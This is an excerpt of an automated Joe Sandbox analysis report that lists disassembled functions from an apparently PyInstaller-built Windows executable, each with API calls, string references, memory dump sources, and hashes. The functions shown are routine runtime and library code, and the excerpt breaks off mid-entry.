libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF70AF0F11A,?,?,-00000018,00007FF70AF0ADC3,?,?,?,00007FF70AF0ACBA,?,?,?,00007FF70AF05FAE), ref: 00007FF70AF0EEFC
GetProcAddress.KERNEL32(?,?,?,00007FF70AF0F11A,?,?,-00000018,00007FF70AF0ADC3,?,?,?,00007FF70AF0ACBA,?,?,?,00007FF70AF05FAE), ref: 00007FF70AF0EF08

Strings

api-ms-, xrefs: 00007FF70AF0EE46
ext-ms-, xrefs: 00007FF70AF0EE59

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction ID: 43b9e43554950be46b47241bf82b59626c58c008164e4257c3323821dba8799c
Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction Fuzzy Hash: 2D41F123B19A1681FA15EB16DC04AB5E392BF48B90FC98979ED1D87394EF3CF4058320

Function 00007FF70AEF36B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF70AEF3804), ref: 00007FF70AEF36E1
GetLastError.KERNEL32(?,00007FF70AEF3804), ref: 00007FF70AEF36EB

Part of subcall function 00007FF70AEF2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF70AEF3706,?,00007FF70AEF3804), ref: 00007FF70AEF2C9E
Part of subcall function 00007FF70AEF2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF70AEF3706,?,00007FF70AEF3804), ref: 00007FF70AEF2D63
Part of subcall function 00007FF70AEF2C50: MessageBoxW.USER32 ref: 00007FF70AEF2D99

Strings

GetModuleFileNameW, xrefs: 00007FF70AEF36FA
Failed to obtain executable path., xrefs: 00007FF70AEF36F3
Failed to resolve full path to executable %ls., xrefs: 00007FF70AEF3739
Failed to convert executable path to UTF-8., xrefs: 00007FF70AEF3790
\\?\, xrefs: 00007FF70AEF375A

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: 7231f908d9f7499947c38fe57585a1e949a90e0bc55474b3429169d04aadf15a
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 44215163B1C64381FA20BB24EC563B6A250FF88394FC04172E66D866E6EF2CF505C720

Function 00007FF70AF0BACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF0BEF9

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
Instruction ID: d8be70a44356c56241386cfa9c8c11889fd9208444260b59396a007f57c0a65e
Opcode Fuzzy Hash: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
Instruction Fuzzy Hash: 63C1B123A0868681FB60BB15D840ABDE765EF81B80FD541B1EA9E87791DF7CF8458720

Function 00007FF70AEF8760 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF70AEF8780
OpenProcessToken.ADVAPI32 ref: 00007FF70AEF8793
GetTokenInformation.KERNELBASE ref: 00007FF70AEF87B8
GetLastError.KERNEL32 ref: 00007FF70AEF87C2
GetTokenInformation.KERNELBASE ref: 00007FF70AEF8802
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF70AEF881E
CloseHandle.KERNEL32 ref: 00007FF70AEF8836

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction ID: 0264a41a53313091f6e2b0f701fc792eaff1be187ff13afab43d8562afb5d7a4
Opcode Fuzzy Hash: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction Fuzzy Hash: 56212F22A0C68382FB10BB55F85522AE7A0EF857A0FD04275EA6D43BE8DF6CE4458750

Function 00007FF70AEF90E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF70AEF8760: GetCurrentProcess.KERNEL32 ref: 00007FF70AEF8780
Part of subcall function 00007FF70AEF8760: OpenProcessToken.ADVAPI32 ref: 00007FF70AEF8793
Part of subcall function 00007FF70AEF8760: GetTokenInformation.KERNELBASE ref: 00007FF70AEF87B8
Part of subcall function 00007FF70AEF8760: GetLastError.KERNEL32 ref: 00007FF70AEF87C2
Part of subcall function 00007FF70AEF8760: GetTokenInformation.KERNELBASE ref: 00007FF70AEF8802
Part of subcall function 00007FF70AEF8760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF70AEF881E
Part of subcall function 00007FF70AEF8760: CloseHandle.KERNEL32 ref: 00007FF70AEF8836

LocalFree.KERNEL32(?,00007FF70AEF3C55), ref: 00007FF70AEF916C
LocalFree.KERNEL32(?,00007FF70AEF3C55), ref: 00007FF70AEF9175

Strings

S-1-3-4, xrefs: 00007FF70AEF9121
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF70AEF9183
D:(A;;FA;;;%s), xrefs: 00007FF70AEF9157
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF70AEF9142

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 44a76ac2d965b652da6d7152683ffc914eb32e79e00aec7a7a922ce7c9633e88
Instruction ID: fcc7c71aa7b32041306b94bf076678539fb7cff762b83b3079e2d2c128a1ca8f
Opcode Fuzzy Hash: 44a76ac2d965b652da6d7152683ffc914eb32e79e00aec7a7a922ce7c9633e88
Instruction Fuzzy Hash: BF212D22A0874281FB10BB20ED163EAA265EF88780FD540B5EA4D53796DF3CE9458760

Function 00007FF70AF0CFD0 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF70AF0CFBB), ref: 00007FF70AF0D0EC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF70AF0CFBB), ref: 00007FF70AF0D177

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction ID: 31c21cd6fb3c3dd9ea2fe5ff3d2b067b9f21b1c51533d4936ffe5fa6f984f78e
Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction Fuzzy Hash: 5791B433F1865289F750AFA5DC40ABDABA0AF54B88F944179DE0E97685CF38F442C720

Function 00007FF70AF05698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF056C5
CreateFileW.KERNELBASE ref: 00007FF70AF05704
CloseHandle.KERNEL32 ref: 00007FF70AF05739

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: d8180f6def151326dbc1838c76f2bf16523ede016d29520c416496f25ee76b2a
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: 5841A323E1878183F710AB20DA14779A660FF94794F508374EA9C43AD1DFACF5E08B20

Function 00007FF70AEFCCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70AEFCE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF70AEFCE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF70AEFCCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF70AEFCD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF70AEFCD91

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: d1609d965e06dc936c98098a51463899f5b44f64e64dc5ffb9316cd8e654285f
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: FF313923E0910B45FA64BB24DC623BD9A91DF81388FE444B4D94D472D7EF2DF9058271

Function 00007FF70AF09AA0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF70AF09A9C), ref: 00007FF70AF09AB1
TerminateProcess.KERNEL32(?,?,?,00007FF70AF09A9C), ref: 00007FF70AF09ABC
ExitProcess.KERNEL32 ref: 00007FF70AF09ACB

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction ID: 169c4b68ed5c495b2cfa806dae7e8f2c7d72f0b895a3ed861a5ac919cbb59411
Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction Fuzzy Hash: F6D09212B0874682FB183B71ECD95789251AF48B41F9524B8C81B96393EFBCF8498320

Function 00007FF70AF001AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF001F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF002E7

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 8904f91e918180b32b458b9785e52638a2be3ec1f5803303236cfd045378d9da
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 4751B463B0964286FB69BA25DC00F7AE291AF44BA4F944774DE6D877C5CF3CF5018620

Function 00007FF70AF0C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF70AF0C33D), ref: 00007FF70AF0C1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF70AF0C33D), ref: 00007FF70AF0C1FA

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 7d0dae6b50ed8ee86f9edc4d204c61f96a028eb310d78eca462451c161d14f38
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 0611C163A18A8181EA10AB25EC04169E761BF45BF4FA44371EE7D8B7E9CF3CE4128740

Function 00007FF70AF0A9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF70AF12D92,?,?,?,00007FF70AF12DCF,?,?,00000000,00007FF70AF13295,?,?,?,00007FF70AF131C7), ref: 00007FF70AF0A9CE
GetLastError.KERNEL32(?,?,?,00007FF70AF12D92,?,?,?,00007FF70AF12DCF,?,?,00000000,00007FF70AF13295,?,?,?,00007FF70AF131C7), ref: 00007FF70AF0A9D8

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: 94484a63634749b173e583ce56297fcc0ec0ea182ce31badd5ae874ae0314ab0
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: F6E0E653F0960292FF14BBB2DC5557991516F88781FC541B4D91DC63A2DF2CF9958330

Function 00007FF70AF0ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF70AF0AA45,?,?,00000000,00007FF70AF0AAFA), ref: 00007FF70AF0AC36
GetLastError.KERNEL32(?,?,?,00007FF70AF0AA45,?,?,00000000,00007FF70AF0AAFA), ref: 00007FF70AF0AC40

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 2de4f26aef4a5b3e9c6e134038262d46ec0bc3baf182b0f353800aed688d131d
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: 39219223F1C74242FA90B761DC90679A6829F847D0F8982B5DA5E873C5CF6CF4458320

Function 00007FF70AF0BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF0BF44

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: 10952221de418d8ed30ce924127b23db621f77b7a1fcb8c20c9ae54372dbcb48
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: 3E41B033A0820187FA34AB69E940679F7A5EF55B85F900271DA8EC7691CF2DF402CB61

Function 00007FF70AEF7F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF70AEF802A

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: a04a6dff0443a84ee3e7d7b85ba5df040c793d2a730aad3af21426add8a99984
Instruction ID: b6fc69e9af38730cc8854a37869a7b1758ee6dd377aa39ffb8933750b3c350f6
Opcode Fuzzy Hash: a04a6dff0443a84ee3e7d7b85ba5df040c793d2a730aad3af21426add8a99984
Instruction Fuzzy Hash: E3217C22B0865286FA10BA22AD157BAE651FF45BD4FC844B0EE4D4B786DF7DE1418720

Function 00007FF70AF0B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF0BA32

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction ID: add30c43ce8e63f8e82bfcfe1e3518145a79bfc55c4659c0461433c091d73cb2
Opcode Fuzzy Hash: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction Fuzzy Hash: B6316D23A1864286F7517B65CC41B7DA660AF40BA6FD201B5EA6D833D2DF7CF4418731

Function 00007FF70AF099D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF70AF099FF

Part of subcall function 00007FF70AF09AF8: GetModuleHandleExW.KERNEL32 ref: 00007FF70AF09B1D
Part of subcall function 00007FF70AF09AF8: GetProcAddress.KERNEL32 ref: 00007FF70AF09B33
Part of subcall function 00007FF70AF09AF8: FreeLibrary.KERNEL32 ref: 00007FF70AF09B5A

Memory Dump Source

